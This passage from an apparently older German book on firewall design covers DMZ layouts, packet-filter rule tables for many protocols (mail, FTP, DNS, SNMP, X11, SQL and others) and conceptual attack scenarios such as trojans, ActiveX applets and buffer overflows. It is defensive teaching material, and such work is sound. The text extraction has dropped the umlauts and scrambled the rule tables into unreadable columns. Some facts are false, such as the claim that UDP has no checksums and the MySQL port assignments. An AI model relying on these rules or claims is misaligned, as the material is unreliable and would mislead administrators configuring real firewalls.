aufgebaut, der eventuell ein Problem mit "additional informations" haben knnte. Ein eingeschleustes, trojanisches Pferd knnte den MX - Eintrag des internen DNS-Servers auf eine IP - Nummer im Internet umndern. Die Folge wre, da der Angreifer smtliche internen und externen e-Mail aus dem Netzwerk erhalten wrde, die er kopieren, und in das Netzwerk zurcksenden knnte. Problem 4 Er nutzt die typischen Fehler der Browser auf den Arbeitsstationen (Host A-D) aus. Ein vorbereitetes, auf die internen IP - Nummern angepates Active-X Applet knnte somit beliebige Angriffe auf Server intern starten. Er mu hierzu nur die Aufmerksamkeit eines Users im Intranet auf einen beliebigen Internet-Server lenken, damit dieser das Applet auf seine Arbeitsstation ldt und es startet. Problem 5 Eine UNIX - Firewall knnte er versuchen, direkt von innen her mit einem buffer overflow anzugreifen, in der Hoffnung, da diese einige wohlbekannten Ports nach innen hin geffnet hat. Problem 6 Hat er auch nur ein einziges mal die Firewall berwunden, so kann er trojanische Pferde installieren, spter von alleine aktiv werden. Wir der Angriff entdeckt und das Sicherheitsproblem beseitigt, so wird wohl kaum der Systemadministrator alle Server im Intranet neu installieren. Finden wrde er ein trojanisches Pferd wohl nicht. Betrachten wir nun Beispiel 2 Diese leidet genauso wie Beispiel 1 unter allen dort schon erwhnten Problemen.
Es gibt einige Regeln, die man unter keinen Umstnden miachten sollte: Zu einer Firewall gehren immer 3 Komponenten, einem ueren Router, einem inneren Router und der Firewall selber. Soll ein Zugriff auf einen Server im Intranet aus dem Internet heraus mglich sein, so ist eine DMZ "DeMilitarisierte Zone" aufzubauen, die selber von Firewalls umgeben ist. In dieser sind die Server, die von auen erreichbar sein sollen, zu installieren. Der Grund besteht darin, da man stets damit rechnen mu, da ein von auen erreichbarer Server mit buffer overflows angreifbar ist. In diesem Falle mu unter allen Umstnden noch einen Firewall als Sicherung gegen Zugriffe aus der DMZ auf das interne Netzwerk. Der korrekte Aufbau wre also folgender:
I N T E R N E T ^ | Router | | Transfernetz | SERVER 1 SERVER 2 | WWW/FTP/DNS Mail/News | WWW-PROXY | Firewall 1 | | | | | <---+--------+--------+-------------+---- Firewall 2 --->lokales Netz Beispiel 3 Fr den Fall, da Server 1 erfolgreich angegriffen wird, mu Firewall 2 Angriffen standhalten knnen. Firewall 1 und der Router bieten dann im Prinzip keinen Schutz gegen professionelle Angreifer mehr, halten aber viele DoS Angriffe und weniger erfahrene Angreifer fern. Sie dienen im Prinzip nur dazu, die Verfgbarkeit der Server zu erhhen. Im Gegensatz zu frheren Empfehlungen (Einrichten von Firewalls Chapman/Zwicky) sollten die Firewalls mindestens Statful Paket Filter (SPF Firewalls) sein und ber verschlsselte Protokolle zur Fernwartung und Analyse der Logfiles verfgen. Die berwachung von Firewall 1 und der Server 1+2 in der DMZ stellt allerdings ein Problem dar, dessen Lsung nicht ganz trivial ist. Logserver sind ebenfalls anfllig gegen buffer overflows und knnen von Angreifern stillgelegt werden. (DoS attack) Es darf unter keinen Umstnden Firewall 2 fr die kontinuierliche bertragung von Logfiles auf einen Logserver im lokalen Netz geffnet werden. Es bietet sich an, den WWW-Server in der DMZ als Logserver fr Router und Firewall 1 einzusetzen. Mit FTP z.B. knnte eine Arbeitsstation die puren ASCII Logfiles von Router und Firewall 1 herunterladen und auswerten. Besser ist jedoch ein eigener Server in der DMZ, der nur eine Aufgabe hat, nmlich die Logfiles zu speichern. Da auf diesem alle weiteren Funktionen deaktiviert sind, ist dieser hchstwahrscheinlich nicht anfllig gegen buffer overflows, weil er viel weniger Angriffspotential bietet. Ein Auswertungsprogramm knnte aber so geringe Differenzen zwischen den Logfiles von Router, Server 1 und dem Logserver sofort bemerken. Es ist hchst unwahrscheinlich, da ein Angreifer zur gleichen Zeit beide Logserver angreifen kann.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Das Beispiel zeigt die Filterregeln, die einen Host hinter einem Paketfilter schtzen sollen. Ein Client aus dem Internet kann eine Verbindung zu dem Host aufbauen, um e-Mail zu senden (Regel 12). Der Host selber darf Verbindungen zu anderen Hosts aufbauen, um e-Mails zu versenden. Regel (34). Was ist aber, wenn ein Angreifer mit einem Client von Port 25 aus einen beliebigen Port > 1023 auf dem Host erreichen will ? Nach Regel 4 wrde die Verbindung zugelassen werden. Ein Angriff wre somit erfolgreich. Der kleine Zusatz in Regel 4 (ACK gesetzt) bedeutet gleichzeitig: SYN darf keinesfalls gesetzt sein ! Dann ist nmlich der Verbindungsaufbau von Port 25 nach z.B. Port 8080 (WWW-PROXY-CACHE) des Hosts untersagt. Ein groes Problem ist die Behandlung von UDP. UDP kennt keine ACK-Bits, soda hier der Paketfilter immer wieder von neuem entscheiden mu, ob das Paket zulssig ist, oder nicht. UDP besitzt auch keine Prfsummen, die eventuell verlorengegangene oder von einem Angreifer zustzliche eingeschleuste Pakete entdecken knnten. Hierfr gibt es TCP<->UDP Relays Fr die Sicherheitsberprfung mit einem Portscanner bedeutet dieses, da alle Kombinationen von
Quellport und Zielport ebenfalls geprft werden mssen. Das wren ungefhr 4.3 Milliarden Pakete (65536^2). Die berprfung mit nur einem Paket wrde ca. 1 Tag dauern (10 MBit). Portscanner berprfen daher stets nur die Zielports unter Verwendung eines einzigen Quellports. Wie wichtig diese berprfung ist, zeigt sich an einem Einbruch in die Site von Wietse Venema, der Autor des TCP-WRAPPER ist. Ein Hacker hat den Quellcode so verndert, da eine Rootshell aktiviert wird, sobald von einem bestimmten Quellport auf einen bestimmten Zielport des Wrappers zugegriffen wird. Ein normaler Portscanner htte das Problem nicht erkannt. Umso wichtiger erscheint es, da die Firewall "counter intelligence" Mechanismen besitzt, und nach einigen wenigen Portscans die Verbindung zu diesem Host sperrt ! Der Nachteil ist jedoch, da die Firewallregeln schlecht berprfbar sind, da stets die counter intelligence Mechanismen aktiv werden und die Sicherheitsberprfung verhindern.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
1: Eingehende Mail, Absender an Empfnger. ACK gesetzt, auer im ersten Paket 2: Eingehende Mail, Empfnger an Absender, ACK gesetzt 3: Ausgehende Mail, Absender an Empfnger. ACK gesetzt, auer im ersten Paket 4: Ausgehende Mail, Empfnger an Absender, ACK gesetzt
POP (e-Mail)
POP ist ein Dienst auf Basis von TCP. POP-Server fr die aktuelle Version des POP-Protokolls (die als POP3 bezeichnet wird und bei weitem am hufigsten Benutzt wird) benutzen Port 110. POP-Clients benutzen Ports ber 1023. Regel Richtung Protokoll 1 ein TCP 2 aus TCP 3 aus TCP 4 ein TCP Anmerkungen zu den Regeln: Quellport >1023 110 >1023 110 Zielport 110 >1023 110 >1023 Ergnzungen SYN/ACK ---/ACK SYN/ACK ---/ACK
1: Eingehende POP-Verbindung, vom Client zum Server. ACK gesetzt, auer im ersten Paket 2: Eingehende POP-Verbindung, vom Server zum Client. ACK gesetzt 3: Ausgehende POP-Verbindung, vom Client zum Server. ACK gesetzt, auer im ersten Paket 4: Ausgehende POP-Verbindung,vom Server zum Client. ACK gesetzt
IMAP (e-Mail)
IMAP ist ein Dienst auf Basis von TCP. Er dient dazu, Mails vom Mailserver abzuholen. Im Gegensatz zu POP3 mu nicht die ganze Post abgeholt werden, es darf auf dem Server selektiert werden. IMAP-Server benutzen Port 143. Clients benutzen Ports ber 1023. Regel 1 2 3 4 Richtung ein aus aus ein Protokoll TCP TCP TCP TCP Quellport >1023 143 >1023 143 Zielport 143 >1023 143 >1023 Ergnzungen SYN/ACK ---/ACK SYN/ACK ---/ACK
Anmerkungen zu den Regeln: 1: Eingehende IMAP-Verbindung, vom Client zum Server. ACK gesetzt, auer im ersten Paket 2: Eingehende IMAP-Verbindung, vom Server zum Client. ACK gesetzt 3: Ausgehende IMAP-Verbindung, vom Client zum Server. ACK gesetzt, auer im ersten Paket 4: Ausgehende IMAP-Verbindung,vom Server zum Client. ACK gesetzt
UUCP (Mail)
UUCP dient dem Autausch von Mails. Server arbeiten mit Port 540, Clients mit Portnummern ber 1023. Regel Richtung 1 ein 2 aus 3 aus 4 ein Anmerkungen zu den Regeln: Protokoll TCP TCP TCP TCP Quellport >1023 540 >1023 540 Zielport 540 >1023 540 >1023 Ergnzungen SYN/ACK ---/ACK SYN/ACK ---/ACK
1: Eingehende UUCP-Verbindung, vom Client zum Server. ACK gesetzt, auer im ersten Paket 2: Eingehende UUCP-Verbindung, vom Server zum Client. ACK gesetzt 3: Ausgehende UUCP-Verbindung, vom Client zum Server. ACK gesetzt, auer im ersten Paket 4: Ausgehende UUCP-Verbindung, vom Server zum Client. ACK gesetzt
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
1 : Eingehende FTP-Anfrage. ACK gesetzt, auer im ersten Paket 2 : Antwort auf eingehende Anfrage. ACK gesetzt 3 : Einrichten des Datenkanals fr eingehende FTP-Anfrage, normaler Modus. ACK gesetzt, auer im ersten Paket 4 : Antworten im Datenkanal fr eingehende FTP-Anfrage, normaler Modus. ACK gesetzt 5 : Einrichten des Datenkanals fr eingehende FTP-Anfrage, passiver Modus. ACK gesetzt, auer im ersten Paket 6 : Antworten im Datenkanal fr eingehende FTP-Anfrage, passiver Modus. ACK gesetzt 7 : Ausgehende FTP-Anfrage. ACK gesetzt, auer im ersten Paket 8 : Antwort auf ausgehende Anfrage. ACK gesetzt 9 : Einrichten des Datenkanals fr ausgehende FTP-Anfrage, normaler Modus. ACK gesetzt, auer im ersten Paket 10: Antworten im Datenkanal fr ausgehende FTP-Anfrage, normaler Modus. ACK gesetzt 11: Einrichten des Datenkanals fr ausgehende FTP-Anfrage, passiver Modus. ACK gesetzt, auer im ersten Paket 12: Antworten im Datenkanal fr ausgehende FTP-Anfrage, passiver Modus. ACK gesetzt
TFTP (Boot)
TFTP ist ein Protokoll auf Basis von UDP. Server benutzen Port 69, Clients Portnummern ber 1023. TFTP sollte im allgemeinen nicht mehr erlaubt werden. Network Computer (NC) booten ber diese Protokoll (bootpd). Da TFTP auf UDP basiert, ist eine Absicherung ber eine Firewall prinzipiell nicht mglich. Hier sollte das FTP-Protokoll genutzt werden. Regel 1 2 3 4 Richtung ein aus aus ein Protokoll UDP UDP UDP UDP Quellport >1023 69 >1023 69 Zielport 69 >1023 69 >1023 Kommentar Eingehende TFTP-Anfrage Antwort auf die eingehende Anfrage Ausgehende TFTP-Anfrage Antwort auf die ausgehende Anfrage
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
1: Eingehende Verbindung, Client an Server. ACK gesetzt, auer im ersten Paket 2: Eingehende Verbindung, Server an Client. ACK gesetzt 3: Ausgehende Verbindung, Client an Sever. ACK gesetzt, auer im ersten Paket 4: Ausgehende Verbindung, Server an Client. ACK gesetzt
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
1 : Eingehendes rlogin, Client an Server. ACK gesetzt, auer im ersten Paket 2 : Eingehendes rlogin, Server an Client. ACK gesetzt 3 : Ausgehendes rlogin, Client an Server, ACK gesetzt, auer im ersten Paket 4 : Ausgehendes rlogin, Server an Client. ACK gesetzt 5 : Eingehendes rsh/rcp/rdump/rrestore/rdist, Cient an Server. ACK gesetzt, auer im ersten Paket 6 : Eingehendes rsh/rcp/rdump/rrestore/rdist, Server an Client. ACK gesetzt 7 : Eingehendes rsh, Fehlerkanal vom Client zum Server. ACK gesetzt 8 : Eingehendes rsh, Fehlerkanal vom Server zum Client. ACK gesetzt, auer im ersten Paket 9 : Ausgehendes rsh/rcp/rdump/rrestore/rdist, Client an Server. ACK gesetzt, auer im ersten Paket
10: Ausgehendes rsh/rcp/rdump/rrestore/rdist, Server an Client. ACK gesetzt 11: Ausgehendes rsh, Fehlerkanal vom Client zum Server. ACK gesetzt 12: Ausgehendes rsh, Fehlerkanal vom Server zum Client. ACK gesetzt, auer im ersten Paket Das Problem bei allen R-Kommandos ist die Asymetrie der eingehenden und ausgehenden Verbindungen. So kann es passieren, da auf eine ausgehende Verbindung zwei Datenstrme auf privilegierten und unprivilegierten Ports von der Firewall empfangen und weitergeleitet werden mssen. Sofern die Firewall eine Programmiersprache besitzt, ist dieser Mechanismus auch ohne spezielle Proxies zu implementieren.
1: Eingehendes REXEC, Client an Server. ACK gesetzt, auer im ersten Paket 2: Eingehendes REXEC, Server an Client. ACK gesetzt 3: Ausgehendes REXEC, Client an Server. ACK gesetzt, auer im ersten Paket 4: Ausgehendes REXEC, Server an Client. ACK gesetzt Im Gegensatz zu obigen R-Kommandos ist der Dienst rexec durchaus mit einer Firewall zu sichern. Angewendet wird dieser z.B. zum Start von Programmen auf remote Servern, CORBA und DCOM machen hiervon Gebrauch.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
NNTP-PROXY
Wir betrachten hier das PROXY - Regelwerk zwischen einem NEWS-FEED Server des Providers und dem internen NEWS-Server. Zum Empfang und Senden von NEWS mssen ein und ausgehende Pakete erlaubt sein. Da NEWS-Server komplexe Funktionen besitzen, sollte man folgende Regeln beachten. q Den BASTION HOST mglichst nicht auch als NEWS- SERVER benutzen. q Automatische Erzeugung von Gruppen unterbinden. q Pawort/ IP-Beschrnkung gegen Mibrauch aus dem Internet. q Niemals einen NEWS-Server ohne Verbindung ber PROXY im Intranet betreiben. q Niemals den NEWS-Server ohne UID und CHROOT() betreiben. Regel Richtung 1 Server 2 Provider 3 Provider 4 Server Anmerkungen zu den Regeln: Protokoll TCP TCP TCP TCP Quellport >1023 119 >1023 119 Zielport 119 >1023 119 >1023 Kommentar Aktion zulassen, Aktion zulassen, Aktion zulassen, Aktion zulassen,
Zum Empfang von NEWS (Regel 1) mu zum Port 119 SYN/ACK mglich sein. Um NEWS zu senden mssen Verbindungen von Port 119 zu einem unprivilegierten Port mglich sein. In den Firewallregeln bedeutet ACK beliebig also eine bidirektionale ffnung fr Pakete sowohl mit gesetztem SYN als auch nur mit ACK-Bit, daher diese Bezeichnung.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
1: Eingehende Sitzung, Client an Server. ACK gesetzt, auer im ersten Paket 2: Eingehende Sitzung, Server an Client. ACK gesetzt 3: Ausgehende Sitzung, Client an Server. ACK gesetzt, auer im ersten Paket 4: Ausgehende Sitzung, Server an Client. ACK gesetzt Bei HTTP sollte man unbedingt eines bercksichtigen. Fr das HTTP Protokoll wurden viele Interfaces zu anderen Protokollen geschrieben, soda man z.B. ber den Browser seine Mails lesen kann (Interface zu POP3), Datenbanken einsehen kann (Interface mit PERL/PHP/ASP zu SQL), oder auch NEWS lesen kann. Wer diesen Dienst freigibt, der sollte in den Interfaces geeignete Filter vorsehen. Siehe hierzu auch das Kapitel Absicherung von WWW-Servern durch PERL.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
SQL (Datenbank)
Angesichts der groen Bedeutung von SQL Datenbanken in Unternehmen wurde diesem Protokoll ein eigenes Kapitel Absicherung von SQL Datenbanken gewidment.
GOPHER (Datenbank)
GOPHER ist ein Dienst auf Basis von TCP. GOPHER-Clients benutzen Portnummern ber 1023. Die meisten GOPHER-Server benutzen Port 70. Regel Richtung 1 ein 2 aus 3 aus 4 ein Anmerkungen zu den Regeln: Protokoll TCP TCP TCP TCP Quellport >1023 70 >1023 70 Zielport 70 >1023 70 >1023 Ergnzungen SYN/ACK ---/ACK SYN/ACK ---/ACK
1: Eingehende Sitzung, Client an Server. ACK gesetzt, auer im ersten Paket 2: Eingehende Sitzung, Server an Client. ACK gesetzt 3: Ausgehende Sitzung, Client an Server. ACK gesetzt, auer im ersten Paket 4: Ausgehende Sitzung, Server an Client. ACK gesetzt
WAIS (Datenbank)
WAIS ist ein Dienst auf Basis von TCP. WAIS-Clients benutzen beliebige Portnummern ber 1023. Der WAIS-Server selber benutzen meist Port 210. Regel Richtung 1 ein 2 aus 3 aus 4 ein Anmerkungen zu den Regeln: Protokoll TCP TCP TCP TCP Quellport >1023 210 >1023 210 Zielport 210 >1023 210 >1023 Ergnzungen SYN/ACK ---/ACK SYN/ACK ---/ACK
1: Eingehende Sitzung, Client an Server. ACK gesetzt, auer im ersten Paket 2: Eingehende Sitzung, Server an Client. ACK gesetzt 3: Ausgehende Sitzung, Client an Server. ACK gesetzt, auer im ersten Paket 4: Ausgehende Sitzung, Server an Client. ACK gesetzt
ARCHIE (Datenbank)
ARCHIE ist ein Dienst auf Basis von UDP. Spezielle ARCHIE-Clients verwenden Portnummern ber 1023, ARCHIE-Server benutzen Port 1525. Regel 1 2 Richtung aus ein Protokoll UDP UDP Quellport >1023 1525 Zielport 1525 >1023 Kommentar Ausgehende Anfrage, Client an Server Eingehende Antwort, Server an Client
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
SYN/ACK SYN/ACK
1: Externer Client nimmt Kontakt zu internen Server auf 2: Interner Server antwortet dem externen Client 3: Interner Client nimmt Kontakt zum externen Server auf 4: Externer Server antwortet internem Client 5: Interner Client kommuniziert mit externem Cient. ACK gesetzt, auer im ersten Paket 6: Externer Client kommuniziert mit internem Client. ACK gesetzt, auer im ersten Paket TALK ist ein Dienst fr den es niemals einen sicheren Proxy geben kann. Es mten zu viele Ports fr UDP Protokoll geffnet werden, um eine Kommunikation zu ermglichen. Erschwerend kommt noch hinzu, da ltere TALK Clients ber Port 517 (statt 518) miteinander kommunizieren.
Regel Richtung 1 ein 2 aus 3 aus 4 ein 5 ein 6 aus 7 aus 8 ein Anmerkungen zu den Regeln:
1: Externer Client oder Server nimmt Kontakt zum internen Server auf. ACK gesetzt, auer im ersten Paket 2: Interner Server antwortet externem Client oder Server. ACK gesetzt 3: Interner Client oder Server nimmt Kontakt zum externen Server auf. ACK gesetzt, auer im ersten Paket 4: Externer Server antwortet internem Client oder Server. ACK gesetzt 5: Interner Client fordert eine DCC-Verbindung an; externer Client beantwortet die Einladung des internen Clients. ACK gesetzt, auer im ersten Paket 6: Interner Client fordert eine DCC-Verbindung an. ACK gesetzt 7: Externer Client fordert eine DCC-Verbinsdung an; interner Client beantwortet die Einladung des externen Clients. ACK gesetzt, auer im ersten Paket 8: Externer Client fordert eine DCC-Verbindung an. ACK gesetzt Fr das IRC Protokoll existiert unter LINUX ein spezieller PROXY mit Masquerading - Untersttzung. Der Einsatz dieses Proxys schtzt aber keinesfalls vor Angriffen auf Anwendungsebene. Es gibt aber inzwischen schon Filter, die einen direkten Zugriff auf die Festplatte des Clients hinter der Firewall verhindern. (sollen).
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
SYN/ACK ---/ACK
SYN/ACK ---/ACK
1: Eingehende Anfrage ber UDP; Client an Server 2: Antwort auf eingehende UDP-Anfrage; Server an Client 3: Eingehende Anfrage ber TCP; Client an Server. ACK gesetzt, auer im ersten Paket 4: Antwort auf eingehende TCP-Anfrage; Server an Client. ACK gesetzt 5: Ausgehende Anfrage ber UDP; Client an Server 6: Antwort auf die ausgehende UDP-Anfrage; Server an Client 7: Ausgehende Anfrage ber TCP; Client an Server. ACK gesetzt, auer im ersten Paket 8: Antwort auf die ausgehende TCP-Anfrage; Server an Client. ACK gesetzt 9: Anfrage oder Antwort zwischen zwei Servern ber UDP 10: Anfrage oder Antwort zwischen zwei Servern ber UDP 11: Anfrage eines externen Servers an einen internen Server ber TCP; Anforderung eines Zonen-Transfers vom externen
sekundren Server ber TCP. ACK gesetzt, auer im ersten Paket 12: Antwort des internen Servers an den externen Sever ber TCP; Antwort des Zonen-Transfers an den externen sekundren Server ber TCP. ACK gesetzt 13: Anfrage des internen Servers an den externen Server ber TCP. ACK gesetzt, auer im ersten Paket 14: Antwort des externen Servers an den internen Server ber TCP. ACK gesetzt
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
1: Externer Client nimmt Kontakt zum internen syslog-Server auf 2: Interner Client nimmt Kontakt zum externen syslog-Server auf 3: Externer syslog-Server leitet Meldung an internen syslog-Server weiter 4: Interner syslog-Server leitet Meldung an externen syslog-Server weiter
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
SYN/ACK ---/ACK
SYN/ACK ---/ACK
SYN/ACK ---/ACK
SYN/ACK ---/ACK
1: Externe Verwaltungsstation (Client) nimmt Kontakt zu internem SNMP-Netzgert (Server) auf 2: Internes SNMP-Netzgert (Server) antwortet der externen Verwaltungsstation (Client) 3: Externe Verwaltungsstation (Client) nimmt Kontakt zu internem SNMP-Netzgert (Server) auf. ACK gesetzt, auer im ersten Paket 4: Internes SNMP-Netzgert (Server) antwortet der externen Verwaltungsstation (Client). ACK gesetzt 5: Interne Verwaltungsstation (Client) nimmt Kontakt zu externem SNMP-Netzgert (Server) auf 6: Externes SNMP-Netzgert (Server) antwortet der internen Verwaltungsstation (Client) 7: Interne Verwaltungsstation (Client) nimmt Kontakt zu externem SNMP-Netzgert (Server) auf. ACK gesetzt, auer im ersten Paket
8: Externes SNMP-Netzgert (Server) antwortet der internen Verwaltungsstation (Client). ACK gesetzt 9: Externes Netzgert (Client) nimmt Kontakt zu interner SNMP-Verwaltungsstation (trap-Server) auf 10: Interne SNMP-Verwaltungsstation (trap-Server) antwortet dem externen Netzgert (Client) 11: Externes Netzgert (Client) nimmt Kontakt zu interner SNMP-Verwaltungsstation (trap-Server) auf. ACK gesetzt, auer im ersten Paket 12: Interne SNMP-Verwaltungsstation (trap-Server) antwortet dem externen Netzgert (Client). ACK gesetzt 13: Internes Netzgert (Client) nimmt Kontakt zu externer SNMP-Verwaltungsstation (trap-Server) auf 14: Externe SNMP-Verwaltungsstation (trap-Server) antwortet dem internen Netzgert (Client) 15: Internes Netzgert (Client) nimmt Kontakt zu externer SNMP-Verwaltungsstation (trap-Server) auf. ACK gesetzt, auer im ersten Paket 16: Externe SNMP-Verwaltungsstation (trap-Server) antwortet dem internen Netzgert (Client). ACK gesetzt
PING (Information)
Regel 1 2 Richtung ein aus Protokoll ICMP ICMP Meldungstyp 8 0 Kommentar Eingehendes PING Antwort auf eingehendes PING
3 4
aus ein
ICMP ICMP
8 0
TRACEROUTE (Information)
TRACEROUTE ist ein Protokoll, mit welchem man die Wege der Pakete im Internet bestimmen kann. Hierbei werden die TTL-Werte von 1 anfangend bis zum Ziel stetig erhht, und die Response-Zeiten gemessen. Es gibt z.B. bei Microsoft Implementierungen, die nicht auf ICMP, sondern auf UDP beruhen. Regel Richtung 1 aus 2 ein 3 ein 4 ein 5 aus 6 aus Anmerkungen zu den Regeln: Protokoll UDP ICMP ICMP UDP ICMP ICMP Meldungstyp 11 3 11 3
1: Ausgehender TRACEROUTE-Test; Quell- und Ziel-Port sind abhngig von der Implementierung 2: Eingehendes TLL exceeded 3: Eingehendes service unavailable 4: Eingehender TRACEROUTE-Test; Quell- und Ziel-Port sind abhngig von der Implementierung 5: Ausgehendes TLL exceeded 6: Ausgehendes service unavailable
ICMP (Information)
Die groe Frage bei ICMP Meldungen ist: Welche kann man sperren, welche sollte man sperren und welche Effekte sind dann zu erwarten: ICMP Meldung 0 ist ein echo reply, also eine Antwort auf ping. ICMP Meldung 3 (destination unreachable) kann unter anderem bedeuten, da der Rechner, das Netz oder der Port nicht erreichbar ist. ICMP Meldung 4 (source quench) bedeutet da der Empfnger den Absender bremsen mchte. Diese Meldung sollte erlaubt werden. Andererseits knnen so beliebige Angreifer den Host beliebig ausbremsen. ICMP Befehle sollten also nur direkt von dem nchsten Router akzeptiert werden. ICMP Meldung 5 (redirect) ist eine Aufforderung an den Absender, eine Route zu ndern. Diese sollte von dem Host ignoriert werden, falls es nicht von einem direkt angeschlossenen Router stammt. Sicherheitshalber sollte es ganz abgeschaltet werden. Man sollte vor allem dafr sorgen, da es von den Routern innerhalb des Firewalls blockiert wird. ICMP Meldung 8 ist ein echo request, der wird von ping erzeugt wird. Diese Meldung kann erlaubt werden. ICMP Meldung 11 (time exceeded), bedeutet, da ein Paket in einer Schleife hngt. Diese Meldung sollte zugelassen werden. ICMP Meldung 12 (parameter problem) bedeutet, da es Probleme mit dem Paket-Header gibt. Diese Meldung kann erlaubt werden.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
1: Eingehende Anfrage, Client an Server 2: Antwort auf eingehende UDP-Anfrage, Server an Client 3: Ausgehende Anfrage, Client an Server 4: Antwort auf ausgehende UDP-Anfrage, Server an Client 5: Anfrage oder Antwort zwischen zwei Servern 6: Anfrage oder Antwort zwischen zwei Servern
FINGER (Information)
FINGER ist ein Dienst auf Basis von TCP. Server verwenden Port 79, Clients verwenden Portnummern ber 1023. Regel Richtung 1 ein 2 aus 3 aus 4 ein Anmerkungen zu den Regeln: Protokoll TCP TCP TCP TCP Quellport >1023 79 >1023 79 Zielport 79 >1023 79 >1023 Ergnzungen SYN/ACK ---/ACK SYN/ACK ---/ACK
1: Eingehende Anfrage, Client an Server. ACK gesetzt, auer im ersten Paket 2: Ausgehende Antwort, Server an Client. ACK gesetzt 3: Ausgehende Anfrage, Client an Server. ACK gesetzt, auer im ersten Paket 4: Eingehende Antwort, Server an Client. ACK gesetzt
WHOIS (Information)
WHOIS basiert auf TCP. Server benutzen Port 43 Clients benutzen beliebige Portnummern ber 1023. Regel Richtung Protokoll 1 aus TCP 2 ein TCP Anmerkungen zu den Regeln: Quellport >1023 43 Zielport 43 >1023 Kommentar SYN/ACK ---/ACK
1: Ausgehende Anfrage, Client an Server. ACK gesetzt, auer im ersten Paket 2: Eingehende Antwort, Server an Client. ACK gesetzt
X11 (X-Windows)
X11 arbeitet mit TCP und benutzt Port 6000 fr den ersten Server auf einer Maschine. Regel Richtung 1 ein 2 aus 3 aus 4 ein Anmerkungen zu den Regeln: Protokoll TCP TCP TCP TCP Quellport Zielport >1023 6000n 6000n >1023 >1023 6000n 6000n >1023 Ergnzungen SYN/ACK ---/ACK SYN/ACK ---/ACK
1: Eingehende X11-Verbindung zum n-ten Server, Client an Server. ACK gesetzt, auer im ersten Paket 2: Eingehende X11-Verbindung zum n-ten Server, Server an Client. ACK gesetzt 3: Ausgehende X11-Verbindung zum n-ten Server, Client an Server. ACK gesetzt, auer im ersten Paket 4: Ausgehende X11-Verbindung zum n-ten Server, Server an Client. ACK gesetzt
LPR (Printer)
LPR basiert auf TCP. Server benutzen Port 515 Clients benutzen Portnummern unter 1023. Regel Richtung 1 ein 2 aus 3 aus 4 ein Anmerkungen zu den Regeln: Protokoll TCP TCP TCP TCP Quellport <1023 515 <1023 515 Zielport 515 <1023 515 <1023 Ergnzungen SYN/ACK ---/ACK SYN/ACK ---/ACK
1: Eingehendes LPR, Client an Server. ACK gesetzt, auer im ersten Paket 2: Eingehendes LPR, Server an Client. ACK gesetzt 3: Ausgehendes LPR, Client an Server. ACK gesetzt, auer im ersten Paket 4: Ausgehendes LPR, Server an Client. ACK gesetzt
Netmeeting
Microsoft Netmeeting ist ein komplexes Protokoll, welches sich vielerlei Ports und Protokolle bedient: PORT 389 522 1503 1720 1731 1024+ 1024+ TCP/UDP TCP TCP TCP TCP TCP TCP UDP STATIC/DYNAMIC statisch statisch statisch statisch statisch dynamisch dynamisch PROTOCOL LDAP ULP imtc-mcs h323hostcall msiccp H.245 RTP/RTCP NETMEETING Internet Locator Server (ILS) User Location Service T.120 H.323 Anruf Audio Anruf H.323 Anrufkontrolle H.323 streaming (RTP)
Die Probleme mit Netmmeting sind ungeheuer gro. Im Kapitel Was Hersteller kommerzieller Firewalls verschweigen werden die Probleme genauer beleuchtet.
SQL
Aufgrund der Komplexitt und der Wichtigkeit des Schutzes der Inhalte von Datenbanken habe ich diesen nun ein eigenes Kapitel Sicherung von SQL-Datenbanken gewidmet. Fr ORACLE im "dedicated" Modus reicht es, Port 1521 freizuschalten. Fr ORACLE im "multi threaded" Modus mssen darber hinaus auch alle Ports > 1024 freigeschaltet werden. Fr MySQL mu der Port 3333 freigegeben werden, ltere Versionen von MySQL (< 3.20) benutzen Port 3306. Da MySQL keinen "dedicated" Modus besitzt, ist es hier immer notwendig, alle Ports > 1024 freizuschalten. Regel Richtung 1 ein 2 aus 3 aus 4 ein Anmerkungen zu den Regeln: Protokoll TCP TCP TCP TCP Quellport >1023 1521 >1023 1521 Zielport 1521 >1023 1521 >1023 Ergnzungen SYN/ACK ---/ACK SYN/ACK ---/ACK
1: Eingehende Verbindung, Client an Server. ACK gesetzt, auer im ersten Paket 2: Eingehende Verbindung, Server an Client. ACK gesetzt 3: Ausgehende Verbindung, Client an Server. ACK gesetzt, auer im ersten Paket 4: Ausgehende Verbindung, Server an Client. ACK gesetzt
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
BO von der Firewall unbemerkt Arbeitsstationen im Intranet fernsteuern kann, sofern es ihm gelingt ein solches trojanisches Pferd einzuschleusen. Der Systemadministrator erfhrt trotz aktiver Firewall nichts von einem Angriff. Damit ist der Sinn einer Firewall vllig in Frage gestellt. In der Praxis kann man bei vielen Clients jedoch den Bereich von Ports einschrnken, was aber prinzipiell nichts ndert, da sich auch Programme wie BO anpassen lassen.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
HTTP1 aus HTTP2 ein DNS1 DNS2 DNS3 DNS4 DNS5 DNS6 aus ein aus ein ein aus
Bastion TCP intern TCP Bastion Server Bastion Server Server Bastion UDP UDP TCP TCP TCP TCP
bel. zulassen ja zulassen zulassen zulassen bel. zulassen ja zulassen bel. zulassen ja zulassen
